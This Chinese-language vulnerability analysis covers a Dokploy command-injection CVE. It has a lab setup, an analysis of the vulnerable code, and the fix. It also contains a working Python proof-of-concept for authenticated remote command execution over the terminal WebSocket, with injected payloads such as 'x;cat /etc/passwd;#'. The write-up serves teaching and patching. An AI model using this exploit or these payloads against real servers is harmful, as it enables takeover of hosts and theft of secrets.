Dokploy 命令注入漏洞分析 CVE-2026-24841
字数 1315
更新时间 2026-02-06 03:39:33
Dokploy 命令注入漏洞分析(CVE-2026-24841)教学文档
漏洞概述
漏洞名称:Dokploy 命令注入漏洞
CVE编号:CVE-2026-24841
影响版本:Dokploy v0.26.5及之前版本
漏洞等级:高危
漏洞类型:命令注入
攻击复杂度:需要认证(但可注册普通用户)
漏洞背景
Dokploy简介
Dokploy是一个开源的自托管平台即服务(PaaS),作为Vercel、Heroku和Netlify的替代方案,提供容器管理和部署能力。
漏洞位置
- 受影响端点:
/docker-container-terminalWebSocket端点 - 漏洞参数:
containerId和activeWay参数 - 技术根源:用户输入未经验证直接拼接至shell命令
环境搭建
Docker Compose配置
version: '3.8'
services:
postgres:
image: postgres:15-alpine
container_name: dokploy-postgres
environment:
POSTGRES_USER: dokploy
POSTGRES_PASSWORD: dokploy123
POSTGRES_DB: dokploy
volumes:
- postgresvar/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dokploy"]
interval: 5s
timeout: 5s
retries: 5
redis:
image: redis:7-alpine
container_name: dokploy-redis
volumes:
- redisdata
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 5
dokploy:
image: dokploy/dokploy:v0.26.5
container_name: dokploy-vuln-test
ports:
- "3001:3000"
environment:
DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
REDIS_URL: "redis://redis:6379"
NODE_ENV: production
volumes:
- /var/run/docker.sock:/var/run/docker.sock
- dokployapp/data
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
restart: unless-stopped
volumes:
postgres_data:
redis_data:
dokploy```
### 环境验证
```bash
curl -I http://localhost:3001
漏洞复现
攻击前提条件
- 获取有效会话Cookie(可通过注册普通用户获得)
- 目标运行Dokploy v0.26.5版本
PoC利用代码
#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-24841)
Authenticated RCE via WebSocket
Usage:
python3 dokploy-poc.py <target> <cookie> <cmd>
Examples:
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
"""
import sys, asyncio
from urllib.parse import quote
try:
import websockets
except ImportError:
sys.exit("pip install websockets")
async def exploit(target, cookie, cmd):
payload = f"x;{cmd};#"
uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
out = ""
try:
async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
while True:
try:
out += await asyncio.wait_for(ws.recv(), timeout=2)
except asyncio.TimeoutError:
break
except Exception as e:
return f"Error: {e}"
# 清理docker错误输出
lines = out.split('\n')
return '\n'.join([line for line in lines if 'error' not in line.lower()])
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 dokploy-poc.py <target> <cookie> <cmd>")
sys.exit(1)
target, cookie, cmd = sys.argv[1], sys.argv[2], sys.argv[3]
result = asyncio.run(exploit(target, cookie, cmd))
print(result)
攻击向量示例
payload构造:
containerId = "x;whoami;#"
activeWay = "sh"
生成的命令:
docker exec -it -w / x;whoami;# sh
命令解释:
docker exec -it -w / x(执行失败,容器x不存在)whoami(成功执行,返回当前用户)# sh(被注释忽略)
漏洞分析
WebSocket连接建立
文件位置:apps/dokploy/server/wss/docker-container-terminal.ts
wssTerm.on("connection", async (ws, req) => {
const url = new URL(req.url || "", `http://${req.headers.host}`);
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
const serverId = url.searchParams.get("serverId");
const { user, session } = await validateRequest(req);
if (!containerId) {
ws.close(4000, "containerId no provided");
return;
}
if (!user || !session) {
ws.close();
return;
}
// 继续处理...
});
问题分析:
- 进行了认证检查但允许普通用户访问
- 对
containerId和activeWay仅检查存在性,未进行安全验证
SSH命令注入场景
远程服务器模式:
if (serverId) {
const server = await findServerById(serverId);
if (!server.sshKeyId)
throw new Error("No SSH key available for this server");
const conn = new Client();
conn.once("ready", () => {
conn.exec(
`docker exec -it -w / ${containerId} ${activeWay}`, // 漏洞点
{ pty: true },
(err, stream) => {
// 处理流
}
);
}).connect({
host: server.ipAddress,
port: server.port,
username: server.username,
privateKey: server.sshKey?.privateKey,
});
}
本地服务器命令注入
文件位置:apps/dokploy/server/wss/docker-container-terminal.ts
// 获取shell类型
const shell = getShell(); // 返回"bash"、"zsh"或"powershell"
// 存在漏洞的代码
const ptyProcess = spawn(
shell,
["-c", `docker exec -it -w / ${containerId} ${activeWay}`], // 命令注入点
{},
);
shell检测函数:
export const getShell = () => {
switch (os.platform()) {
case "win32": return "powershell.exe";
case "darwin": return "zsh";
default: return "bash";
}
};
攻击效果:
/bin/bash -c "docker exec -it -w / x;cat /etc/passwd;# sh"
docker exec -it -w / x(执行失败)cat /etc/passwd(成功执行,读取系统密码文件)# sh(被注释忽略)
漏洞修复方案
修复Commit
https://github.com/Dokploy/dokploy/commit/6fdb2e4a21f420b0e65e8721145ba8429d7d5749
三层防御机制
第一层:输入验证函数
文件:apps/dokploy/server/wss/utils.ts
/**
* 验证容器ID格式
* 支持:完整ID(64位十六进制)、短ID(12位十六进制)、容器名称
*/
export const isValidContainerId = (id: string): boolean => {
// 匹配十六进制ID(12-64位)
const hexPattern = /^[a-f0-9]{12,64}$/i;
// 匹配容器名称(字母数字开头,可含下划线、点、横线,最长128字符)
const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};
/**
* 验证shell类型(白名单方式)
*/
export const isValidShell = (shell: string): boolean => {
const allowedShells = [
"sh", "bash", "zsh", "ash",
"/bin/sh", "/bin/bash", "/bin/zsh", "/bin/ash",
];
return allowedShells.includes(shell);
};
第二层:参数使用前验证
import { isValidContainerId, isValidShell } from "./utils";
wssTerm.on("connection", async (ws, req) => {
const url = new URL(req.url || "", `http://${req.headers.host}`);
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
if (!containerId) {
ws.close(4000, "containerId not provided");
return;
}
// 安全:验证containerId防止命令注入
if (!isValidContainerId(containerId)) {
ws.close(4000, "Invalid container ID format");
return;
}
// 安全:验证shell防止命令注入
if (activeWay && !isValidShell(activeWay)) {
ws.close(4000, "Invalid shell specified");
return;
}
// 设置默认shell
const shell = activeWay || "sh";
// 继续处理...
});
第三层:避免Shell解释
本地场景修复:
// 修复前(存在漏洞)
const ptyProcess = spawn(
shell,
["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
{},
);
// 修复后(安全)
const ptyProcess = spawn(
"docker",
["exec", "-it", "-w", "/", containerId, shell], // 参数化传递
{},
);
远程SSH场景修复:
// 修复后(安全)
const dockerCommand = [
"docker", "exec", "-it", "-w", "/", containerId, shell
].join(" ");
conn.exec(dockerCommand, { pty: true }, (err, stream) => {
// 处理流
});
防御逻辑总结
用户输入
↓
【第1层】正则表达式验证
├─ isValidContainerId: /^[a-f0-9]{12,64}$/i
└─ isValidShell: 白名单验证
↓ 验证失败 → 拒绝连接
↓ 验证通过
【第2层】参数化命令执行
├─ 本地:spawn("docker", ["exec", "-it", "-w", "/", containerId, shell])
└─ 远程:已验证参数通过join(" ")拼接
↓
【第3层】避免shell解释器
└─ 参数作为数组传递,不经过bash -c
↓
✅ 安全执行
安全建议
- 输入验证:对所有用户输入实施严格的白名单验证
- 参数化执行:避免使用shell命令拼接,使用参数化执行方式
- 最小权限:Web服务应以最小必要权限运行
- 安全审计:定期进行代码安全审计和渗透测试
- 依赖更新:及时更新到安全版本(v0.26.6+)
影响评估
攻击后果:
- 完全接管Dokploy服务器
- 窃取数据库密码等敏感信息
- 容器逃逸至宿主机
- 横向移动至内网其他系统
利用条件:
- 需要有效的用户会话(但可注册普通用户)
- 目标运行存在漏洞的版本